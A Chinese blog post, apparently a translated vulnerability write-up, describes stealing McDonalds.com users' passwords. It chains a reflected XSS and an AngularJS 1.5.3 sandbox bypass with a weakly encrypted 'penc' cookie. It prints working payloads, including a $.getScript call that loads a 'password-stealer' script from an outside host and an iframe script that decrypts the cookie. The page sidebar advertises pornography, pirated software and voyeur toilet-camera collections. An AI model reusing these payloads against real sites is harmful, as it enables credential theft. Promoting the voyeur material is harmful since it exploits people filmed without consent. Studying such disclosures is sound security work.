[Web漏洞] 看我如何利用漏洞窃取麦当劳网站注册用户密码
作者:蓝扬日期:2020-10-30浏览:154分类:web
本文讲述了利用不安全的加密存储(Insecure_Cryptographic_Storage)漏洞和服务端反射型XSS漏洞,实现对麦当劳网站(McDonalds.com)注册用户的密码窃取,进一步测试,还可能获取到网站注册用户的更多信息。
POC-利用反射型XSS漏洞绕过AngularJS框架沙箱
麦当劳网站McDonalds.com设置有一个搜索页面,该页面存在XSS反射型漏洞,可以返回搜索参数值,假设搜索参数q为***********-test-reflected-test-***********,对应链接:
http://www.mcdonalds.com/us/en-us/search-results.html?q=***********-test-reflected-test-***********
则执行效果如下:
麦当劳网站采用AngularJS框架,所以可以使用特殊字符在搜索区域进行返回值尝试。通过更改搜索参数q为{{$id}}之后,发现返回值对应AngularJS范围内的对应ID数字9:
Link used: http://www.mcdonalds.com/us/en-us/search-results.html?q={{$id}}
AngularJS是一个流行的JavaScript框架,通过这个框架可以把表达式放在花括号中嵌入到页面中。例如,表达式1+2={{1+2}}将会得到1+2=3。其中括号中的表达式被执行了,这就意味着,如果服务端允许用户输入的参数中带有花括号,我们就可以用Angular表达式来进行xss攻击。
由于AngularJS工作在沙箱模式,所以使用参数{{alert(1)}}无任何返回信息,但这并不代表AngularJS沙箱没有漏洞。在 AngularJS1.6版本中,由于沙箱机制不能很好地起到安全防护目的,已经被从源码中移除。而PortSwigger还对AngularJS的各版本沙箱进行了绕过测试,并给出了相应绕过执行命令。
在这里,我们来看看McDonalds.com使用的AngularJS版本,通过在浏览器控制端输入angular.version命令:
可以发现AngularJS为1.5.3版本,参照PortSwigger的测试,我们选用
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}
作为搜索参数,很惊喜,返回值如下:
这就意味着,我们可以利用绕过命令,对网站加载外部JS脚本文件,如构造如下命令:
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=$.getScript(`http://finnwea.com/snippets/external-alert.js`)');}}`
返回结果如下:
在内容安全策略(Content-Security-Policy)的提示下,第三方脚本文件被成功加载。
窃取密码
除此之外,我在麦当劳网站的注册页面发现了复选框“Remember my password”,通常来说,这只有在用户登录页面才存在,有点奇怪:
在该页面的源代码页面,包含了各种passowrd字段内容,甚至存在一个有趣的密码解密函数:
最危险的是,利用该解密函数代码竟然可以实现对客户端或双向加密存储的密码破解。尝试对发现的被存储Cookie值penc进行解密,竟然成功了!
而且,经分析发现,Cookie值penc的存储期限是大大的一年!LOL!
另外,以下的源码分析显示,麦当劳网站使用了Javascript的CryptoJS加密库进行信息加密,加密方式为3DES,其中加密参数key和iv都为通用,这意味着只需要获取到cookie值就能对密码解密:
由于AngularJS沙箱绕过方法只对charAt的join方法(charAt=[].join;$eval(‘x=alert(1)’))有效,所以即使我曾尝试在搜索区域构造其它恶意命令对cookie信息进行解密,但最终总是因为getCookie失败而无效。只有当charAt(0) 不为空时,getCookie才有返回值:
最后,我写了一段调用麦当劳网站首页框架进行cookie窃取的脚本,为了避免脚本因AngularJS沙箱被绕过而被反复执行,所以,我用window.xssIsExecuted对其进行了显示控制,如下:
if (!window.xssIsExecuted) {window.xssIsExecuted = true;var iframe = $('<iframe src="http://www.mcdonalds.com/us/en-us.html"></iframe>'); $('body').append(iframe); iframe.on('load', function() {var penc = iframe[0].contentWindow.getCookie('penc'); alert(iframe[0].contentWindow.decrypt(penc)); }); }
最终,配合以下AngularJS沙箱绕过命令,可以成功从cookie信息中对密码解密!
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=$.getScript(`http://finnwea.com/snippets/mcdonalds-password-stealer.js`)');}}
遗憾的是,我曾多次与麦当劳官方就此问题进行联系,但是他们竟然都不回应!@#%¥&! ,所以我选择把此漏洞公开。
猜你还喜欢
- 08-02 [黑客软件] 小陈Web漏洞扫描器2.0新版本
取消回复欢迎 你 发表评论:
-
- 最新文章
- 热门文章
- 热评文章
[PC样本分析] MBR 病毒简单恢复
[影视资讯] 除了《西部世界》,还有这六部人工智能美剧值得一看!
[影视资讯]《西部世界》与《头号玩家》:哪个才是人类与人工智能相处的正确方式?
[说电影] 一部出色的科幻美剧,表面上是机器人与人的较量
[神级COS] 微博网红 逐月Su 极品COS 47套最全合集[气质御姐/超赞颜值]
[资料] 60套招聘海报 PSD格式
[图集] 终结者外传 卡梅伦tok-715 1/6兵人
[说电影]《终结者:黑暗命运》关于时间线的剧情解析
[南国今报] 追踪!南宁新冠确诊病例270名密接者,核酸结果出炉!
[资料] 小弟搜集的一些工程施工和安全方面的资料
[合集强荐] 重金自购极品主播东南亚小妖精 四女一妖 7.26-8.2 7 天高清直播合集 爆乳高颜值的明星脸小姐姐们带来无与伦比的异域风情体验
[电影资讯] 12 部漫威新片今年上演!不知道你就 out 了!
[经典] [MP4/43.6GB]国产极品中文剧情AVの麻豆传媒映画55部大合集(1080P收藏版)[磁力/BT]
[稀有合集强荐] [国产冰时代]女王,足X,踩踏126部合集
[稀有合集] 强荐 重金自购极品户外LC网红FSS冯珊珊高难度挑战最全合集
[网红福利] 福利姬私人玩物(爱玩玩呀)120套大合集 [102G]
[合集强荐] 独家整理高清无马破解152部,可单部下载[725GB]
[史诗级重磅合集] 步兵片商(1Pondo、Carib、Heyzo)2019年度作品原版无水大全集[724V/1.28T]
[强荐] 高价自购付费字母圈电报群内部视频,各种口味应有尽有合集
[合集强荐] P站越南尤物妹纸Ericahand最全合集
[无码破解] 号称最高の美女『天海翼』篮球部女经理社员们的性玩具IPZ-658[1.49G]
[福利合集] 探花系列资源最全的合集
[合集强荐] 全景厕拍、极品空姐厕拍、云上会所精选视频合集
[福利] SWAG『Bella』是水果摊老板娘 不卖水果卖身上两颗大大水蜜桃 勾引顾客
[经典] [MP4/43.6GB]国产极品中文剧情AVの麻豆传媒映画55部大合集(1080P收藏版)[磁力/BT]
[合集强荐] P站越南尤物妹纸Ericahand最全合集
[连环画] 绝对有效!童年77G高清PDF经典怀旧单双本连环画小人书820套,全网最强
[合集打包] 强荐★丝享家[IESS异思趣向]1~300期+特刊合集打包下载,丝袜控福利
[网红福利] 福利姬私人玩物(爱玩玩呀)120套大合集 [102G]
[教学资源] 咸鱼上卖的妇科检查系列 165GB
[视频编辑] 会声会影2020旗舰版SP4 v23.3.0.647特别版
[合集强荐] 全国探花20年3月6至26精选合集
[经典单机]《命令与征服1/红警1》重制版
[3D同人/全动态] Lvl3Toaster大师:超高质量3D同人作品合集+整合版【步兵/CV/1.85G】
[3D同人/全动态] 生化危机&古墓丽影:2019年全年精华3D整合版!【超高能/1.4G】
[奇怪COS] 捷克超美COS喷泉女王 Elles:D.VA 雏田 2B 三笠 等52部高能大合集【3.5G】
- 最新评论
- 热门tag
暂无评论,来添加一个吧。